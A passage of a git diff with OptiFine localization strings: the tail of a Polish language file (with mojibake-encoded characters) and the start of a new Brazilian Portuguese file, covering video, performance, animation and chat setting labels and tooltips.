sÄ… dostarczane z obecnej paczki zasobów. + +# Details + +of.options.CLOUDS=Chmury +of.options.CLOUDS.tooltip.1=Chmury +of.options.CLOUDS.tooltip.2= DomyÅ›lne - dopasowane do ustawienia graficznego +of.options.CLOUDS.tooltip.3= Szybka - niska jakość, wysoka wydajność +of.options.CLOUDS.tooltip.4= DokÅ‚adna - wyższa jakość, niska wydajność +of.options.CLOUDS.tooltip.5= WyÅ‚. - brak chmur, najwyższa wydajność +of.options.CLOUDS.tooltip.6=Szybkie chmury sÄ… renderowane w 2D. +of.options.CLOUDS.tooltip.7=DokÅ‚adne chmury sÄ… renderowane w 3D. + +of.options.CLOUD_HEIGHT=Wysokość chmur +of.options.CLOUD_HEIGHT.tooltip.1=Wyskość chmur +of.options.CLOUD_HEIGHT.tooltip.2= WyÅ‚. - domyÅ›lna wysokość +of.options.CLOUD_HEIGHT.tooltip.3= 100%% - powyżej limitu wysokoÅ›ci Å›wiata + +of.options.TREES=Drzewa +of.options.TREES.tooltip.1=Drzewa +of.options.TREES.tooltip.2= DomyÅ›lne - zgodnie z ustawieniami graficznymi +of.options.TREES.tooltip.3= Szybka - niższa jakość, wyższa wydajność +of.options.TREES.tooltip.4= Smart - wyższa jakość, niższa wydajność +of.options.TREES.tooltip.5= DokÅ‚adna - najwyższa jakość, najniższa wydajność +of.options.TREES.tooltip.6=Szybkie drzewa majÄ… wypeÅ‚nione liÅ›cie. +of.options.TREES.tooltip.7=Szybkie i smart drzewa majÄ… przezroczyste liÅ›cie. + +of.options.RAIN=Deszcz i Å›nieg +of.options.RAIN.tooltip.1=Deszcz i Å›nieg +of.options.RAIN.tooltip.2= DomyÅ›lne - zgodnie z ustawieniami graficznymi +of.options.RAIN.tooltip.3= Szybka - lekki deszcz/Å›nieg, wyższa wydajność +of.options.RAIN.tooltip.4= DokÅ‚adna - ciężki deszcz/Å›nieg, niższa wydajność +of.options.RAIN.tooltip.5= WyÅ‚. - brak deszczu/Å›niegu, najwyższa wydajność +of.options.RAIN.tooltip.6=Gdy deszcz jest wyÅ‚Ä…czony, rozpryski na ziemi +of.options.RAIN.tooltip.7=oraz dźwiÄ™ki nadal sÄ… aktywne. + +of.options.SKY=Niebo +of.options.SKY.tooltip.1=Niebo +of.options.SKY.tooltip.2= WÅ‚. - niebo jest widoczne, niższa wydajność +of.options.SKY.tooltip.3= WyÅ‚. - niebo jest niewidoczne, wyższa wydajność +of.options.SKY.tooltip.4=Gdy niebo jest wyÅ‚Ä…czone, sÅ‚oÅ„ce i księżyc nadal sÄ… widoczne. + +of.options.STARS=Gwiazdy +of.options.STARS.tooltip.1=Gwiazdy +of.options.STARS.tooltip.2= WÅ‚. - gwiazdy sÄ… widoczne, niższa wydajność +of.options.STARS.tooltip.3= WyÅ‚. - gwiazdy sÄ… niewidoczne, wyższa wydajność + +of.options.SUN_MOON=SÅ‚oÅ„ce i Księżyc +of.options.SUN_MOON.tooltip.1=SÅ‚oÅ„ce i Księżyc +of.options.SUN_MOON.tooltip.2= WÅ‚. - sÅ‚oÅ„ce i księżyc sÄ… widoczne (domyÅ›lne) +of.options.SUN_MOON.tooltip.3= WyÅ‚. - sÅ‚oÅ„ce i księżyc sÄ… niewidoczne (wyższa wydajność) + +of.options.SHOW_CAPES=Pokazuj peleryny +of.options.SHOW_CAPES.tooltip.1=Pokazuj peleryny +of.options.SHOW_CAPES.tooltip.2= WÅ‚. - pokazuje peleryny graczy (domyÅ›lne) +of.options.SHOW_CAPES.tooltip.3= WyÅ‚. - nie pokazuje peleryn graczy + +of.options.TRANSLUCENT_BLOCKS=PrzeÅ›witujÄ…ce bloki +of.options.TRANSLUCENT_BLOCKS.tooltip.1=PrzeÅ›witujÄ…ce bloki +of.options.TRANSLUCENT_BLOCKS.tooltip.2= DomyÅ›lne - zgodnie z ustawieniami graficznymi +of.options.TRANSLUCENT_BLOCKS.tooltip.3= DokÅ‚adna - poprawne mieszanie kolorów (domyÅ›lne) +of.options.TRANSLUCENT_BLOCKS.tooltip.4= Szybka - szybkie mieszanie kolorów (wyższa wydajność) +of.options.TRANSLUCENT_BLOCKS.tooltip.5=Kontroluje mieszanie kolorów bloków przezroczystych +of.options.TRANSLUCENT_BLOCKS.tooltip.6=w różnych kolorach (barwione szkÅ‚o, woda, lód) +of.options.TRANSLUCENT_BLOCKS.tooltip.7=gdy pod nimi sÄ… bloki inne niż powietrze. + +of.options.HELD_ITEM_TOOLTIPS=Nazwy trzym. przedm. +of.options.HELD_ITEM_TOOLTIPS.tooltip.1=Nazwy trzymanych przedmiotów nad interfejsem +of.options.HELD_ITEM_TOOLTIPS.tooltip.2= WÅ‚. - pokazuj nazwy przedmiotów (domyÅ›lne) +of.options.HELD_ITEM_TOOLTIPS.tooltip.3= WyÅ‚. - nie pokazuj nazw przedmiotów + +of.options.ADVANCED_TOOLTIPS=DokÅ‚adne dane przedmiotów +of.options.ADVANCED_TOOLTIPS.tooltip.1=DokÅ‚adne dane przedmiotów, bloków oraz narzÄ™dzi +of.options.ADVANCED_TOOLTIPS.tooltip.2= WÅ‚. - pokazuj dokÅ‚adne dane +of.options.ADVANCED_TOOLTIPS.tooltip.3= WyÅ‚. - nie pokazuj dokÅ‚adnych danych (domyÅ›lne) +of.options.ADVANCED_TOOLTIPS.tooltip.4=Ta opcja pokazuje wiÄ™cej informacji o dowolnym +of.options.ADVANCED_TOOLTIPS.tooltip.5=przedmiocie (id, wytrzymaÅ‚ość), a także dane o nim +of.options.ADVANCED_TOOLTIPS.tooltip.6=dla shaderów (id, źródÅ‚o, domyÅ›lna wartość). + +of.options.DROPPED_ITEMS=Upuszczone przedmioty +of.options.DROPPED_ITEMS.tooltip.1=Upuszczone przedmioty +of.options.DROPPED_ITEMS.tooltip.2= DomyÅ›lne - zgodnie z ustawieniami graficznymi +of.options.DROPPED_ITEMS.tooltip.3= Szybkie - upuszczone przedmioty w 2D (wyższa wydajność) +of.options.DROPPED_ITEMS.tooltip.4= DokÅ‚adne - upuszczone przedmioty w 3D (niższa wydajność) + +options.entityShadows.tooltip.1=Cienie bytów +options.entityShadows.tooltip.2= WÅ‚. - WÅ‚Ä…cza cienie pod bytami +options.entityShadows.tooltip.3= WyÅ‚. - WyÅ‚Ä…cza cienie pod bytami + +of.options.VIGNETTE=Winieta +of.options.VIGNETTE.tooltip.1=Efekt wizualny, który delikatnie przyciemnia rogi ekranu +of.options.VIGNETTE.tooltip.2= DomyÅ›lne - zgodnie z ustawieniami graficznymi (domyÅ›lne) +of.options.VIGNETTE.tooltip.3= Szybki - winieta wyÅ‚Ä…czona (wyższa wydajność) +of.options.VIGNETTE.tooltip.4= DokÅ‚adny - winieta wÅ‚Ä…czona (niższa wydajność) +of.options.VIGNETTE.tooltip.5=Winieta może w maÅ‚ym stopniu obniżyć FPS, +of.options.VIGNETTE.tooltip.6=szczególnie przy grze na peÅ‚nym ekranie. +of.options.VIGNETTE.tooltip.7=Efekt winiety jest subtelny i może być +of.options.VIGNETTE.tooltip.8=bezproblemowo wyÅ‚Ä…czony. + +of.options.DYNAMIC_FOV=Dynamiczny FOV +of.options.DYNAMIC_FOV.tooltip.1=Dynamiczne FOV +of.options.DYNAMIC_FOV.tooltip.2= WÅ‚. - wÅ‚Ä…cza dynamiczny FOV (domyÅ›lne) +of.options.DYNAMIC_FOV.tooltip.3= WyÅ‚. - wyÅ‚Ä…cza dynamiczny FOV +of.options.DYNAMIC_FOV.tooltip.4=Zmienia pole widzenia (FOV), gdy latasz +of.options.DYNAMIC_FOV.tooltip.5=sprintujesz lub naciÄ…gasz Å‚uk. + +of.options.DYNAMIC_LIGHTS=Dynamiczne Å›wiatÅ‚a +of.options.DYNAMIC_LIGHTS.tooltip.1=Dynamiczne Å›wiatÅ‚a +of.options.DYNAMIC_LIGHTS.tooltip.2= WyÅ‚. - funkcja dynamicznego Å›wiatÅ‚a wyÅ‚Ä…czona (domyÅ›lne) +of.options.DYNAMIC_LIGHTS.tooltip.3= Szybkie - uproszczone dynamiczne Å›wiatÅ‚a - aktualizowane co 500ms +of.options.DYNAMIC_LIGHTS.tooltip.4= DokÅ‚adne - dynamiczne Å›wiatÅ‚a w czasie rzeczywistym +of.options.DYNAMIC_LIGHTS.tooltip.5=Przedmioty Å›wiecÄ…ce (pochodnia, jasnogÅ‚az itp.) +of.options.DYNAMIC_LIGHTS.tooltip.6=oÅ›wietlajÄ… teren, gdy sÄ… w Twojej dÅ‚oni, +of.options.DYNAMIC_LIGHTS.tooltip.7=dÅ‚oni innego gracza lub gdy leżą na ziemi. + +options.biomeBlendRadius.tooltip.1=WygÅ‚adza przejÅ›cia kolorystyczne miÄ™dzy biomami +options.biomeBlendRadius.tooltip.2= WyÅ‚. - brak wygÅ‚adzenia (najszybsze) +options.biomeBlendRadius.tooltip.3= 5x5 - normalne wygÅ‚adzanie (domyÅ›lne) +options.biomeBlendRadius.tooltip.4= 15x15 - maksymalne wygÅ‚adzanie (najwolniejsze) +options.biomeBlendRadius.tooltip.5=Wyższe wartoÅ›ci mogÄ… powodować znaczÄ…ce lagi +options.biomeBlendRadius.tooltip.6=i zmniejszać szybkość wczytywania chunków. + +# Performance + +of.options.SMOOTH_FPS=Stabilne FPS +of.options.SMOOTH_FPS.tooltip.1=Stablilizuje FPS poprzez oczyszczanie buforów sterownika +of.options.SMOOTH_FPS.tooltip.2= WyÅ‚. - brak stabilizacji, FPS mogÄ… oscylować +of.options.SMOOTH_FPS.tooltip.3= WÅ‚. - FPS jest stabilizowane +of.options.SMOOTH_FPS.tooltip.4=Ta opcja jest zależna od karty graficznej, wiÄ™c +of.options.SMOOTH_FPS.tooltip.5=różnica nie zawsze może być zauważalna. + +of.options.SMOOTH_WORLD=Stabilny Å›wiat +of.options.SMOOTH_WORLD.tooltip.1=Usuwa nagÅ‚e lagi spowodowane serwerem wewnÄ™trznym. +of.options.SMOOTH_WORLD.tooltip.2= WyÅ‚. - brak stabilizacji, FPS mogÄ… oscylować +of.options.SMOOTH_WORLD.tooltip.3= WÅ‚. - FPS jest stabilizowane +of.options.SMOOTH_WORLD.tooltip.4=Stabilizuje FPS poprzez rozdzielenie obciążenia wewnÄ™trznego serwera. +of.options.SMOOTH_WORLD.tooltip.5=DziaÅ‚a tylko w lokalnych Å›wiatach (tryb jednoosobowy). + +of.options.FAST_RENDER=Szybkie renderowanie +of.options.FAST_RENDER.tooltip.1=Szybkie renderowanie +of.options.FAST_RENDER.tooltip.2= WyÅ‚. - standardowe rederowanie (domyÅ›lne) +of.options.FAST_RENDER.tooltip.3= WÅ‚. - zoptymalizowane renderowanie (wyższa wydajność) +of.options.FAST_RENDER.tooltip.4=Używa zoptymalizowanego algorytmu renderowania, który zmniejsza +of.options.FAST_RENDER.tooltip.5=obciÄ…zenie CPU, a tym samym zwiÄ™ksza FPS. +of.options.FAST_RENDER.tooltip.6=Ta opcja może wywoÅ‚ywać konflikty z niektórymi modami. + +of.options.FAST_MATH=Szybka matematyka +of.options.FAST_MATH.tooltip.1=Szybka matematyka +of.options.FAST_MATH.tooltip.2= WyÅ‚. - standardowa matematyka (domyÅ›lne) +of.options.FAST_MATH.tooltip.3= WÅ‚. - przyspieszona matematyka +of.options.FAST_MATH.tooltip.4=Używa zoptymalizowanych dziaÅ‚aÅ„ sin() i cos(), które +of.options.FAST_MATH.tooltip.5=lepiej wykorzystujÄ… pamięć procesora i zwiÄ™ksza FPS. +of.options.FAST_MATH.tooltip.6=Ta opcja może mieć minimalny wpÅ‚yw na generowanie Å›wiata. + +of.options.CHUNK_UPDATES=Aktualizacje chunków +of.options.CHUNK_UPDATES.tooltip.1=Aktualizacje chunków +of.options.CHUNK_UPDATES.tooltip.2= 1 - wolniejsze wczytywanie Å›wiata, wiÄ™cej FPS (domyÅ›lne) +of.options.CHUNK_UPDATES.tooltip.3= 3 - szybsze wczytywanie Å›wiata, mniej FPS +of.options.CHUNK_UPDATES.tooltip.4= 5 - najszybsze wczytywanie Å›wiata, najmniej FPS +of.options.CHUNK_UPDATES.tooltip.5=Liczba aktualizowanych chunków na klatkÄ™, +of.options.CHUNK_UPDATES.tooltip.6=wiÄ™ksza ilość może zmniejszyć stabilność FPS. + +of.options.CHUNK_UPDATES_DYNAMIC=Dynamiczne Aktualizacje +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.1=Dynamiczne aktualizacje chunków +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.2= WyÅ‚. - (domyÅ›lne) standardowa aktualizacja chunków na klatkÄ™ +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.3= WÅ‚. - wiÄ™cej aktualizacji, gdy gracz stoi w miejscu +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.4=Dynamiczna aktualizacja wczytuje wiÄ™cej chunków, +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.5=gdy gracz stoi w miejscu, aby szybciej zaÅ‚adować Å›wiat. + +of.options.LAZY_CHUNK_LOADING=Leniwe Å‚adow. chunków +of.options.LAZY_CHUNK_LOADING.tooltip.1=Leniwe Å‚adowanie chunków +of.options.LAZY_CHUNK_LOADING.tooltip.2= WyÅ‚. - domyÅ›lne wczytywanie chunków na serwerze +of.options.LAZY_CHUNK_LOADING.tooltip.3= WÅ‚. - leniwe Å‚adowanie chunków na serwerze (pÅ‚ynniej) +of.options.LAZY_CHUNK_LOADING.tooltip.4=WygÅ‚adza zintegrowane Å‚adowanie serwerowych chunków +of.options.LAZY_CHUNK_LOADING.tooltip.5=rozdzielajÄ…c chunki na kilka ticków. +of.options.LAZY_CHUNK_LOADING.tooltip.6=WyÅ‚Ä…cz to, jeżeli części Å›wiata nie Å‚adujÄ… siÄ™ prawidÅ‚owo. +of.options.LAZY_CHUNK_LOADING.tooltip.7=Efektyne tylko na lokalnych Å›wiatach i jednordzeniowych komputerach. + +of.options.RENDER_REGIONS=Renderowanie okolicy +of.options.RENDER_REGIONS.tooltip.1=Renderowanie okolicy +of.options.RENDER_REGIONS.tooltip.2= WyÅ‚. - nie używaj renderowania okolicy (domyÅ›lne) +of.options.RENDER_REGIONS.tooltip.3= WÅ‚. - używaj renderowania okolicy +of.options.RENDER_REGIONS.tooltip.4=Ta opcja pozwala na szybsze renderowanie terenu na wyższych +of.options.RENDER_REGIONS.tooltip.5=odlegÅ‚oÅ›ciach renderowania. Efektywniejsze, gdy wÅ‚Ä…czone jest VBO. +of.options.RENDER_REGIONS.tooltip.6=Nie jest rekomendowane dla zintegrowanych kart graficznych. + +of.options.SMART_ANIMATIONS=Inteligentne animacje +of.options.SMART_ANIMATIONS.tooltip.1=Inteligentne animacje +of.options.SMART_ANIMATIONS.tooltip.2= WyÅ‚. - nie używaj inteligentnych animacji (domyÅ›lne) +of.options.SMART_ANIMATIONS.tooltip.3= WÅ‚. - używaj inteligentnych animacji +of.options.SMART_ANIMATIONS.tooltip.4=Ta opcja powoduje, że gra animuje tylko te tekstury, które sÄ… w tym +of.options.SMART_ANIMATIONS.tooltip.5=momencie widzialne na ekranie. To redukuje nagÅ‚e napady lagów +of.options.SMART_ANIMATIONS.tooltip.6=i zwiÄ™ksza ilość FPS. Szczególnie użyteczne dla dużych paczek modów +of.options.SMART_ANIMATIONS.tooltip.7=i zestawów zasobów w wysokiej rozdzielczoÅ›ci. + +# Animations + +of.options.animation.allOn=WÅ‚Ä…cz wszystko +of.options.animation.allOff=WyÅ‚Ä…cz wszystko +of.options.animation.dynamic=Dynamicznie + +of.options.ANIMATED_WATER=Animacja wody +of.options.ANIMATED_LAVA=Animacja lawy +of.options.ANIMATED_FIRE=Animacja ognia +of.options.ANIMATED_PORTAL=Animacja portali +of.options.ANIMATED_REDSTONE=Animacja czerwonego proszku +of.options.ANIMATED_EXPLOSION=Animacja eksplozji +of.options.ANIMATED_FLAME=Animacja pÅ‚omieni +of.options.ANIMATED_SMOKE=Animacja dymu +of.options.VOID_PARTICLES=CzÄ…steczki próżni +of.options.WATER_PARTICLES=CzÄ…steczki wody +of.options.RAIN_SPLASH=CzÄ…steczki deszczu +of.options.PORTAL_PARTICLES=CzÄ…steczki portali +of.options.POTION_PARTICLES=CzÄ…steczki mikstur +of.options.DRIPPING_WATER_LAVA=KapiÄ…ca woda/lawa +of.options.ANIMATED_TERRAIN=Animacja terenu +of.options.ANIMATED_TEXTURES=Animacja tekstur +of.options.FIREWORK_PARTICLES=CzÄ…steczki fajerwerków + +# Other + +of.options.LAGOMETER=Lagometr +of.options.LAGOMETER.tooltip.1=Pokazuje lagometr na ekranie debugowania (F3). +of.options.LAGOMETER.tooltip.2=* PomaraÅ„czowy - ZajÄ™ta pamięć +of.options.LAGOMETER.tooltip.3=* BÅ‚Ä™kitny - Ticki +of.options.LAGOMETER.tooltip.4=* Niebieski - Zaplanowane dziaÅ‚ania +of.options.LAGOMETER.tooltip.5=* Fioletowy - PrzesyÅ‚anie chunków +of.options.LAGOMETER.tooltip.6=* Czerwony - Aktualizacje chunków +of.options.LAGOMETER.tooltip.7=* Żółty - Kontrola widocznoÅ›ci +of.options.LAGOMETER.tooltip.8=* Zielony - Renderowanie terenu + +of.options.PROFILER=Debug Profiler +of.options.PROFILER.tooltip.1=Debug Profiler +of.options.PROFILER.tooltip.2= WÅ‚. - debug profiler jest aktywny, niższa wydajność +of.options.PROFILER.tooltip.3= WyÅ‚. - debug profiler jest nieaktywny, wyższa wydajność +of.options.PROFILER.tooltip.4=Debug profiler zbiera i pokazuje informacje debugowania, +of.options.PROFILER.tooltip.5=gdy ekran debugowania jest wÅ‚Ä…czony. (F3) + +of.options.WEATHER=Pogoda +of.options.WEATHER.tooltip.1=Pogoda +of.options.WEATHER.tooltip.2= WÅ‚. - pogoda jest aktywna, niższa wydajność +of.options.WEATHER.tooltip.3= WyÅ‚. - pogoda jest nieaktywna, wyższa wydajność +of.options.WEATHER.tooltip.4=Pogoda kontroluje sÅ‚oÅ„ce, deszcz i burzÄ™. +of.options.WEATHER.tooltip.5=Kontrola pogody jest aktywna tylko w trybie jednoosobowym. + +of.options.time.dayOnly=Tylko dzieÅ„ +of.options.time.nightOnly=Tylko noc + +of.options.TIME=Czas +of.options.TIME.tooltip.1=Ustawienia cyklu dnia i nocy +of.options.TIME.tooltip.2= DomyÅ›lne - normalny cykl dnia i nocy +of.options.TIME.tooltip.3= Jedynie dzieÅ„ - czas zatrzyma siÄ™ na dniu +of.options.TIME.tooltip.4= Jedynie noc - czas zatrzyma siÄ™ na nocy +of.options.TIME.tooltip.5=To ustawienie dziaÅ‚a tylko w trybie kreatywnym +of.options.TIME.tooltip.6=i tylko w lokalnych Å›wiatach. + +options.fullscreen.tooltip.1=PeÅ‚ny ekran +options.fullscreen.tooltip.2= WÅ‚. - używa trybu peÅ‚noekranowego +options.fullscreen.tooltip.3= WyÅ‚. - używa trybu okienkowego +options.fullscreen.tooltip.4=Tryb peÅ‚noekranowy może być szybszy lub wolniejszy +options.fullscreen.tooltip.5=niż tryb okienkowy, w zależnoÅ›ci od karty graficznej. + +of.options.FULLSCREEN_MODE=Tryb peÅ‚nego ekranu +of.options.FULLSCREEN_MODE.tooltip.1=Tryby peÅ‚nego ekranu +of.options.FULLSCREEN_MODE.tooltip.2= DomyÅ›lne - używa rozdzielczoÅ›ci pulpitu, niższa wydajność +of.options.FULLSCREEN_MODE.tooltip.3= WxH - używa wybranej rozdzielczoÅ›ci, może podwyższyć wydajność +of.options.FULLSCREEN_MODE.tooltip.4=Wybrana rozdzielczość jest używana w trybie peÅ‚noekranowym (F11). +of.options.FULLSCREEN_MODE.tooltip.5=Niższe rozdzielczoÅ›ci mogÄ… przyspieszyć grÄ™. + +of.options.SHOW_FPS=Pokazuj FPS +of.options.SHOW_FPS.tooltip.1=Pokazuje kompaktowÄ… nakÅ‚adkÄ™ FPS i informacje o renderowaniu +of.options.SHOW_FPS.tooltip.2= Fps - Å›rednia/minimum +of.options.SHOW_FPS.tooltip.3= C: - renderzy chunków +of.options.SHOW_FPS.tooltip.4= E: - zrenderowane byty + bloki +of.options.SHOW_FPS.tooltip.5= U: - aktualizacje chunków +of.options.SHOW_FPS.tooltip.6=Ta nakÅ‚adka jest wyÅ›wietlana tylko wtedy, +of.options.SHOW_FPS.tooltip.7=gdy ekran debugowania jest niewidoczny. + +of.options.save.45s=45s +of.options.save.90s=90s +of.options.save.3min=3min +of.options.save.6min=6min +of.options.save.12min=12min +of.options.save.24min=24min + +of.options.AUTOSAVE_TICKS=Autozapis +of.options.AUTOSAVE_TICKS.tooltip.1=CzÄ™stotliwość autozapisu +of.options.AUTOSAVE_TICKS.tooltip.2=DomyÅ›lna czÄ™stotliwość to 45 sekund. Autozapisy mogÄ… +of.options.AUTOSAVE_TICKS.tooltip.3=powodować lagi, w zależnoÅ›ci od odlegÅ‚oÅ›ci renderowania. +of.options.AUTOSAVE_TICKS.tooltip.4=Åšwiat jest zapisywany także wtedy, gdy menu gry jest otwarte. + +of.options.SCREENSHOT_SIZE=Rozmiar zrzutów ekranu +of.options.SCREENSHOT_SIZE.tooltip.1=Rozmiar zrzutów ekranu +of.options.SCREENSHOT_SIZE.tooltip.2= DomyÅ›lne - domyÅ›lny rozmiar +of.options.SCREENSHOT_SIZE.tooltip.3= 2x-4x - wÅ‚asny rozmiar +of.options.SCREENSHOT_SIZE.tooltip.4=Zapisywanie wiÄ™kszych zrzutów może wymagać wiÄ™cej pamiÄ™ci, +of.options.SCREENSHOT_SIZE.tooltip.5=opcja nie jest kompatybilna z szybkim renderowaniem ani +of.options.SCREENSHOT_SIZE.tooltip.6=antyaliasingiem. Wymaga wsparcia bufora ramki GPU. + +of.options.SHOW_GL_ERRORS=Pokazuj bÅ‚Ä™dy GL +of.options.SHOW_GL_ERRORS.tooltip.1=Pokazuj bÅ‚Ä™dy OpenGL +of.options.SHOW_GL_ERRORS.tooltip.2=Kiedy aktywne, bÅ‚Ä™dy OpenGL sÄ… pokazywane na czacie. +of.options.SHOW_GL_ERRORS.tooltip.3=WyÅ‚Ä…cz tÄ… opcjÄ™ tylko jeżeli jest znany konflikt +of.options.SHOW_GL_ERRORS.tooltip.4=i bÅ‚Ä™dy nie mogÄ… zostać naprawione. +of.options.SHOW_GL_ERRORS.tooltip.5=Kiedy nieaktywne, bÅ‚Ä™dy sÄ… nadal zapisywane w rejestrze +of.options.SHOW_GL_ERRORS.tooltip.6=bÅ‚Ä™dów i nadal mogÄ… powodować znaczne spadki FPS. + +# Chat Settings + +of.options.CHAT_BACKGROUND=TÅ‚o czatu +of.options.CHAT_BACKGROUND.tooltip.1=TÅ‚o czatu +of.options.CHAT_BACKGROUND.tooltip.2= DomyÅ›lne - staÅ‚a szerokość +of.options.CHAT_BACKGROUND.tooltip.3= Kompaktowe - dostosowuje siÄ™ do szerokoÅ›ci linii +of.options.CHAT_BACKGROUND.tooltip.4= WyÅ‚. - ukryte + +of.options.CHAT_SHADOW=CieÅ„ czatu +of.options.CHAT_SHADOW.tooltip.1=CieÅ„ czatu +of.options.CHAT_SHADOW.tooltip.2= WÅ‚. - używaj cienia czatu +of.options.CHAT_SHADOW.tooltip.3= WyÅ‚. - brak cienia czatu diff --git a/src/assets/minecraft/optifine/lang/pt_br.lang b/src/assets/minecraft/optifine/lang/pt_br.lang new file mode 100644 index 00000000..b5ceeff1 --- /dev/null +++ b/src/assets/minecraft/optifine/lang/pt_br.lang @@ -0,0 +1,760 @@ +# General +of.general.ambiguous=ambíguo +of.general.compact=Conciso +of.general.custom=Personalizado +of.general.from=De +of.general.id=ID +of.general.max=Máximo +of.general.restart=reiniciar +of.general.smart=Inteligentes + +# Keys +of.key.zoom=Zoom + +# Message +of.message.aa.shaders1=A suavização não é compatível com os shaders. +of.message.aa.shaders2=Desative o Shaders para ativar essa opção. + +of.message.af.shaders1=A filtragem anisotrópica não é compatível com os shaders. +of.message.af.shaders2=Desative os shaders para ativar essa opção. + +of.message.fr.shaders1=A renderização rápida não é compatível com os shaders. +of.message.fr.shaders2=Desative os shaders para ativar essa opção. + +of.message.an.shaders1=O 3D anaglífico não é compatível com os shaders. +of.message.an.shaders2=Desative os shaders para ativar essa opção. + +of.message.shaders.aa1=Os shaders não são compatíveis com a suavização. +of.message.shaders.aa2=Desative a suavização em Qualidade e reinicie o jogo. + +of.message.shaders.af1=Os shaders não são compatíveis com a filtragem anisotrópica. +of.message.shaders.af2=Desative a filtragem anisotrópica em Qualidade e reinicie o jogo. + +of.message.shaders.fr1=Os shaders não são compatíveis com a renderização rápida. +of.message.shaders.fr2=Desative a renderização rápida em Desempenho. + +of.message.shaders.an1=Os shaders não são compatíveis com o 3D anaglífico. +of.message.shaders.an2=Desative o 3D anaglífico em Diversas. + +of.message.shaders.nv1=Este pacote shader requer uma versão mais recente do OptiFine: %s +of.message.shaders.nv2=Deseja continuar? + +of.message.newVersion=Nova versão do §eOptiFine§f disponível: §e%s§f +of.message.java64Bit=Instale o §eJava de 64 bits§f para aumentar o desempenho. +of.message.openglError=§eErro do OpenGL§f: %s (%s) + +of.message.shaders.loading=Carregando shaders: %s + +of.message.other.reset=Restaurar todas as configurações gráficas para seus valores padrão? + +of.message.loadingVisibleChunks=Carregando chunks visíveis + +# Skin customization + +of.options.skinCustomisation.ofCape=Capa do OptiFine... + +of.options.capeOF.title=Capa do OptiFine +of.options.capeOF.openEditor=Abrir editor de capa +of.options.capeOF.reloadCape=Recarregar capa +of.options.capeOF.copyEditorLink=Copiar link + +of.message.capeOF.openEditor=O editor de capas do OptiFine será aberto no navegador. +of.message.capeOF.openEditorError=Falha ao abrir o link do editor no navegador. +of.message.capeOF.reloadCape=A capa será recarregada em 15 segundos. + +of.message.capeOF.error1=Falha na autenticação da Mojang. +of.message.capeOF.error2=Erro: %s + +# Video settings + +options.graphics.tooltip.1=Qualidade gráfica +options.graphics.tooltip.2= Rápidos - baixa qualidade +options.graphics.tooltip.3= Detalhados - alta qualidade +options.graphics.tooltip.4=Muda a aparência de nuvens, folhas, água, +options.graphics.tooltip.5=sombras e grama. + +of.options.renderDistance.tiny=Mínima +of.options.renderDistance.short=Curta +of.options.renderDistance.normal=Padrão +of.options.renderDistance.far=Longa +of.options.renderDistance.extreme=Extrema +of.options.renderDistance.insane=Insana +of.options.renderDistance.ludicrous=Máxima + +options.renderDistance.tooltip.1=Alcance visual +options.renderDistance.tooltip.2= 2 Mínima - 32m (mais rápido) +options.renderDistance.tooltip.3= 8 Padrão - 128m (normal) +options.renderDistance.tooltip.4= 16 Longa - 256m (lento) +options.renderDistance.tooltip.5= 32 Extrema - 512m (mais lento) +options.renderDistance.tooltip.6= 48 Insana - 768m (requer 2GB de RAM) +options.renderDistance.tooltip.7= 64 Máxima - 1024m (requer 3GB de RAM) +options.renderDistance.tooltip.8=Valores acima de 16 funcionam apenas em mundos locais. + +options.ao.tooltip.1=Iluminação suave +options.ao.tooltip.2= Não - iluminação comum (rápido) +options.ao.tooltip.3= Mínima - iluminação suave básica (lento) +options.ao.tooltip.4= Máxima - iluminação suave avançada (mais lento) + +options.framerateLimit.tooltip.1=Limite de quadros +options.framerateLimit.tooltip.2= SV - taxa limitada (60, 30, 20) +options.framerateLimit.tooltip.3= 5-255 - variável +options.framerateLimit.tooltip.4= Ilimitada - sem limites (mais rápido) +options.framerateLimit.tooltip.5=A taxa cairá mesmo se o valor limite não +options.framerateLimit.tooltip.6=for atingido. +of.options.framerateLimit.vsync=SV + +of.options.AO_LEVEL=Nível de ilum. suave +of.options.AO_LEVEL.tooltip.1=Nível de iluminação suave +of.options.AO_LEVEL.tooltip.2= Não - sem sombras +of.options.AO_LEVEL.tooltip.3= 50%% - sombras padrão +of.options.AO_LEVEL.tooltip.4= 100%% - sombras realistas + +options.viewBobbing.tooltip.1=Movimentos mais realistas +options.viewBobbing.tooltip.2=Desative-o para melhores resultados com mipmaps. + +options.guiScale.tooltip.1=Tamanho da interface +options.guiScale.tooltip.2= Auto. - tamanho máximo +options.guiScale.tooltip.3= Pequena, normal, grande - 1 a 3 +options.guiScale.tooltip.4= 4x a 10x - disponível em monitores 4K +options.guiScale.tooltip.5=Valores ímpares (1, 3...) são incompatíveis com Unicode. +options.guiScale.tooltip.6=Uma interface menor pode ser mais rápida. + +options.vbo=VBO +options.vbo.tooltip.1=Vertex Buffer Objects +options.vbo.tooltip.2=Utilizam um modelo de renderização alternativo mais +options.vbo.tooltip.3=rápido (5-10%%) do que o padrão. + +options.gamma.tooltip.1=Muda o brilho de itens mais escuros. +options.gamma.tooltip.2= Sombrio - brilho padrão +options.gamma.tooltip.3= 1-99%% - variável +options.gamma.tooltip.4= Claro - brilho máximo +options.gamma.tooltip.5=Essa opção não altera o brilho de itens +options.gamma.tooltip.6=completamente escuros. + +options.anaglyph.tooltip.1=3D anaglífico +options.anaglyph.tooltip.2=Ativa um efeito estereoscópico em 3D usando cores +options.anaglyph.tooltip.3=diferentes para cada olho. +options.anaglyph.tooltip.4=Requer óculos vermelho-ciano para melhores resultados. + +options.attackIndicator.tooltip.1=Configura a posição do indicador de ataque +options.attackIndicator.tooltip.2= Mira - abaixo da mira +options.attackIndicator.tooltip.3= Barra - próximo à mira +options.attackIndicator.tooltip.4= Não - sem indicador de ataque +options.attackIndicator.tooltip.5=O indicador de ataque exibe o poder +options.attackIndicator.tooltip.6=ofensivo do item em mãos. + +of.options.ALTERNATE_BLOCKS=Blocos alternativos +of.options.ALTERNATE_BLOCKS.tooltip.1=Blocos alternativos +of.options.ALTERNATE_BLOCKS.tooltip.2=Utiliza modelos alternativos para alguns blocos. +of.options.ALTERNATE_BLOCKS.tooltip.3=Depende do pacote de recursos escolhido. + +of.options.FOG_FANCY=Névoa +of.options.FOG_FANCY.tooltip.1=Tipo de névoa +of.options.FOG_FANCY.tooltip.2= Rápidos - taxa de quadros elevada +of.options.FOG_FANCY.tooltip.3= 